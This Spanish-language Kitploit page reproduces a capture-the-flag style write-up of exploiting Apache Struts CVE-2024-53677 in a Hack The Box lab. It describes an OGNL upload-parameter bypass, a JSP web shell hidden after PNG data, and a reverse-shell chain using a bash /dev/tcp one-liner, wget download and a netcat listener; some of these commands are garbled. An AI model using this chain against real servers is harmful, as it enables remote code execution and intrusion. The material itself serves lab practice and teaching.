Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-53677-Exploitation — Explotación de Apache Struts CVE-2024-53677 | Kitploit
Herramientas/GitHubGitHub/hopsypopsy8/cve-2024-53677-exploitation
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubhopsypopsy8/cve-2024-53677-exploitation

CVE-2024-53677-Exploitation

Explotación de Apache Struts CVE-2024-53677

Ver Repositorio
hace 1 añoAún no revisado

CVE-2024-53677 Explotación

Apache Struts RCE a través de la subida de archivos

Descripción

CVE-2024-53677 es una vulnerabilidad que afecta a Apache Struts desde la versión 2.0.0 hasta antes de la 6.4.0. ⚠️ Esta fue explotada en un laboratorio de Hack The Box.

La lógica de subida de archivos en Apache Struts es defectuosa. Un atacante puede manipular los parámetros de subida de archivos para permitir el path traversal y, bajo ciertas circunstancias, esto puede llevar a subir un archivo malicioso que puede ser utilizado para ejecutar código remoto. 🔗 Referencia: NIST NVD Entry

Reconocimiento

Identificando un Vector de Ataque

image
  1. El sitio web tiene una función de subida de imágenes.
  2. Los archivos subidos se almacenan en: ip/uploads/20250213_014317/starwars.png
  3. Tras una subida exitosa, el enlace compartible de la imagen tiene la URL ip/s/04ab2f40
  4. Encontrando la versión de Apache Struts
  • Un pom.xml expuesto reveló Apache Struts 6.3.0.1
  • Confirmado vulnerable a CVE-2024-53677

📸 Exposición de pom.xml:
image

Explotación

Modificando la Solicitud de Subida de Archivos

Para explotar esta vulnerabilidad utilizamos BurpSuite y su funcionalidad Repeater para modificar los paquetes antes de enviarlos. A continuación tenemos una solicitud sin editar.

image

Nuestros problemas son que el sitio bloquea los tipos de archivos que no sean [JPG, JPEG, PNG, GIF] y cualquier cosa en el directorio /uploads No es Ejecutable. Para solucionar estos problemas, primero agregaremos otro parámetro.

test

El parámetro agregado explota OGNL (Object-Graph Navigation Language), que Apache Struts utiliza para procesar datos de entrada. El FileUploadInterceptor procesa este parámetro antes de manejar la imagen PNG real, permitiendo a los atacantes manipular la solicitud y potencialmente ejecutar código arbitrario.

Finalizando el Exploit

Después de agregar el parámetro modificado, la respuesta del servidor confirma que el archivo se subió correctamente. Sin embargo, notamos que la ruta del archivo difiere del directorio de subida habitual.

plshelp

Adjuntando el Payload

A continuación, incrustamos el payload añadiéndolo directamente debajo de los datos de la imagen y justo antes de nuestros parámetros inyectados. El payload del shell se puede obtener de 🔗 Referencia: shell.jsp Además, un detalle crucial es que la solicitud requiere "Upload" con U mayúscula en lugar de upload en minúscula. Esto sigue la estructura del exploit observada en: 🔗 Referencia: exploit.py

Con estas modificaciones implementadas, enviamos la solicitud. El servidor responde de manera similar, confirmando una subida exitosa y reflejando la ruta de archivo ajustada.

Navegando el Exploit

Ahora, navegando a la siguiente URL, podemos interactuar con nuestro shell subido.

root@kitploit:~
 ip/shelll.jsp?action=cmd&cmd=id 
final shell

En esta etapa, podemos establecer una reverse shell usando un servidor web alojado localmente. Una forma sencilla de lograr esto es con Python: python3 http.server -m 3004

A continuación, crea un script de shell básico (por ejemplo, shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh

Usa wget para descargarlo wget http://ip_address/filename -O /tmp

Después de descargar, otorga permisos de ejecución chmod +777 /tmp/filename

y luego usa nc (netcat) para escuchar la reverse shell. nc -lvnp $PORT

Finalmente ejecuta ./filename

Descargar herramienta